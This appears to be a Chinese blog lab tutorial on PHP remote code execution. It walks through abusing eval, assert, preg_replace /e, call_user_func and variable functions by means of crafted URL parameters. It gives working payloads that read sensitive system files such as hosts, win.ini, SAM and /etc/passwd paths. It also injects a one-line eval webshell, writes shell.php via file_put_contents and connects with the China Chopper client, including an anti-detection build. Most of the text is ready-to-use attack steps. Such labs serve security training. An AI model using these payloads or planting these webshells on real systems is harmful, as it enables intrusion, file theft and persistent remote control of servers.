命令执行漏洞——远程命令执行

一、远程命令

在PHP中,允许命令执行的函数有

1、array_map()

1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/3.php

 2、在URL后拼接"?arr=print_r",访问http://ip/os/3.php?arr=print_r,打印数组

print_r是一个专门打印数据内容的函数

 3、在URL后拼接"?arr=phpinfo",访问http://ip/os/3.php?arr=phpinfo,查看执行效果


2、eval()

 

 

这段代码的意思:判断用户是否有输入a,有则当做PHP语句执行

 

1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/eval.php

 

2、在URL后拼接"?a=echo ‘This is test’;",访问http://ip/os/eval.php?a=echo ‘This is test’;,执行代码

3、在URL后拼接"?a=phpinfo();",访问http://ip/os/eval.php?a=phpinfo();,查看执行效果


3、assert():作用跟eval()差不多,但二者不同

eval是一个语言构造器,而不是一个函数,不能被可变函数调用;

 

 

 1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/assert.php

2、在URL后拼接"?a=var_dump(array(1,2,3)),访问http://ip/os/assert.php?a=var_dump(array(1,2,3)),执行代码

3、在URL后拼接"?a=phpinfo();",访问http://ip/os/assert.php?a=phpinfo(),查看执行效果

4、preg_replace()

 

Preg_replace("/(.*)/e",'\\1',$_GET['a']);

/(.*)/e 代表要替换的模式

'\\1'代表第一个捕获到的文本替换

Preg_replace("/(.*)/e",'\\1',$_GET['a']);跟Preg_replace("/[(.*)]/e",'\\1',$_GET['a']);的区别就是

需要给输入的字符串加[ ]

 1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/preg_replace.php

 2、在URL后拼接"?a=var_dump(array(1,2,3)),访问http://ip/os/preg_replace.php?a=var_dump(array(1,2,3)),执行代码

3、在URL后拼接"?a=phpinfo();",访问http://ip/os/preg_replace.php?a=phpinfo(),查看执行效果


5、call_user_func()

 

 

 1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/call_user_func.php

2、在URL后拼接"?a=assert&b=var_dump(array(1,2,3)),访问http://ip/os/call_user_func.php?a=var_dump(array(1,2,3)),执行代码

 3、在URL后拼接"?a=assert&b=phpinfo()",访问http://ip/os/call_user_func.php?a=assert&b=phpinfo(),查看执行效果


6、$a($b):跟call_user_func()用法差不多

 

 1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/kbhs.php

2、在URL后拼接"?a=assert&b=var_dump(array(1,2,3)),访问http://ip/os/kbhs.php?a=var_dump(array(1,2,3)),执行代码

3、在URL后拼接"?a=assert&b=phpinfo()",访问http://ip/os/kbhs.php?a=assert&b=phpinfo(),查看执行效果


二、远程命令执行漏洞的利用

 1、远程命令执行漏洞利用之利用PHP魔术常量获取信息

原理:

探测到网站存在远程命令执行漏洞,可以利用PHP魔术常量获取相关信息。
PHP 向它运行的任何脚本提供了大量的预定义常量。不过很多常量都是由不同的扩展库定义的,只有在加载了这些扩展库时才会出现,或者动态加载后,或者在编译时已经包括进去了。有八个魔术常量它们的值随着它们在代码中的位置改变而改变。

__LINE__       文件中的当前行号
__FILE__       文件的完整路径和文件名。如果用在被包含文件中,则返回被包含的文件名
__DIR__        文件所在的目录。如果用在被包括文件中,则返回被包括的文件所在的目录
__FUNCTION__   该常量所在的函数名称(PHP 4.3.0 新加)。自PHP5起本常量返回该函数被定义时的名字(区分大小写)。在PHP4中该值总是小写字母的
__CLASS__      该类被定义时的名字(PHP 4.3.0 新加)。自PHP5起本常量返回该类被定义时的名字(区分大小写)
__TRAIT__      Trait的名字(PHP 5.4.0 新加)。自PHP5.4.0起,PHP实现了代码复用的一个方法,称为traits
__METHOD__     类的方法名(PHP 5.0.0 新加)。返回该方法被定义时的名字(区分大小写)
__NAMESPACE__  当前命名空间的名称(区分大小写)。此常量是在编译时定义的(PHP 5.3.0 新增)

1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/assert.php

2、在URL后拼接"?a=print(__LINE__),访问http://ip/os/assert.php?a=print(__LINE__),执行代码,获取当前代码所在的行数 注意:是两个下划线_

3、在URL后拼接"?a=print(__DIR__),访问http://ip/os/assert.php?a=print(__DIR__),执行代码,获取当前文件所在的目录

4、在URL后拼接"?a=print(__FILE__),访问http://ip/os/assert.php?a=print(__FILE__),执行代码,获取当前文件的完整路径


2、远程命令执行漏洞利用之读取文件

原理:

利用远程命令执行漏洞可以读取一些操作系统的敏感文件,从而获取重要信息。
Windows系统敏感信息:

C:\boot.ini                                  //查看系统版本
C:\windows\system32\inetsrv\MetaBase.xml     //IIS配置文件
C:\windows\repair\sam                       //windows初次安装的密码
C:\program Files\mysql\my.ini               //Mysql配置信息
C:\program Files\mysql\data\mysql\user.MYD  //Mysql root C:\windows\php.ini                         //php配置信息
......

Linux系统敏感信息:

/etc/passwd                                       //linux用户信息
/usr/local/app/apache2/conf/httpd.conf            //apache2配置文件
/usr/local/app/php5/lib/php.ini                   //php配置文件
/etc/httpd/conf/httpd.conf                       //apache配置文件
/etc/my.cnf                                      //Mysql配置文件
......

1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/assert.php

2、在URL后拼接"?a=var_dump(file_get_contents(‘C:\Windows\System32\drivers\etc\hosts’))",访问http://ip/os/assert.php?a=var_dump(file_get_contents(‘C:\Windows\System32\drivers\etc\hosts’)),执行代码,获取hosts文件信息

hosts是一个系统文件,其作用就是将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”。

3、在URL后拼接"?a=var_dump(file_get_contents(‘C:\Windows\win.ini’))",访问http://ip/os/assert.php?a=var_dump(file_get_contents(‘C:\Windows\win.ini’)),执行代码,获取win.ini文件信息

win.ini,是Windows系统的一个基本系统配置文件WIN.INI文件包含若干小节,每一节由一组相关的设定组成。文件配保存了诸如影响Windows操作环境的部分、控制系统界面显示形式及窗口和鼠标器的位置、联结特定的文件类型与相应的应用程序、列出有关HELP窗口及对话窗的默认尺寸、布局、文本颜色设置等等的选项。是系统配置不可缺少的文件。


3、远程命令执行漏洞利用之一句话木马

原理:

利用远程命令执行漏洞可以执行一句话木马,从而GetShell,借助WebShell工具连接一句话木马。

1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/assert.php

2、在URL后拼接"?a=@eval($_POST[666])",访问http://ip/os/assert.php?a=@eval($_POST[666]),执行代码,构造一句话木马(Warning警告,但是并不影响)

666就是与菜刀的连接密码

3、打开中国菜刀

4、在空白处鼠标右击,点击“添加”,添加shell地址

  • 地址为:一句话木马地址和连接密码
  • 脚本类型:PHP

 5、点击“添加”,双击一句话木马地址

 

远程命令执行漏洞的利用,执行一句话木马文件,从而GetShell。


4、远程命令执行漏洞利用之写shell

原理:利用远程命令执行漏洞可以执行写文件的代码,生成新的脚本文件。

1、登陆"Attack"操作机,打开浏览器,访问http://ip/os/assert.php

2、在URL后拼接"?a=var_dump(file_put_contents($_POST[1],$_POST[2]))",

访问http://ip/os/assert.php?a=var_dump(file_put_contents($_POST[1],$_POST[2])),并发送post数据:1=info.php&2=<?php phpinfo();?>,成功执行代码(Warning警告,但是并不影响)

3、访问http://ip/os/info.php,新生成的info.php脚本文件成功解析执行

 4、在URL后拼接"?a=var_dump(file_put_contents($_POST[1],$_POST[2]))",

访问http://ip/os/assert.php?a=var_dump(file_put_contents($_POST[1],$_POST[2])),并发送post数据:1=shell.php&2=<?php @eval($_POST[666]);?>,成功执行代码(Warning警告,但是并不影响)

5、访问http://ip/os/shell.php,无任何报错,shell.php一句话木马文件成功生成 

6、打开中国菜刀(过狗),双击exe文件 

7、在空白处鼠标右击,点击“添加”,添加shell地址

  • 地址为:一句话木马地址和连接密码
  • 脚本类型:PHP

 8、点击“添加”,双击一句话木马地址

 

 远程命令执行漏洞的利用,执行生成代码的文件,从而生成新的脚本文件或者一句话木马文件。


这篇文章就写到这里了

猜你喜欢

转载自blog.csdn.net/weixin_54055099/article/details/126905545
今日推荐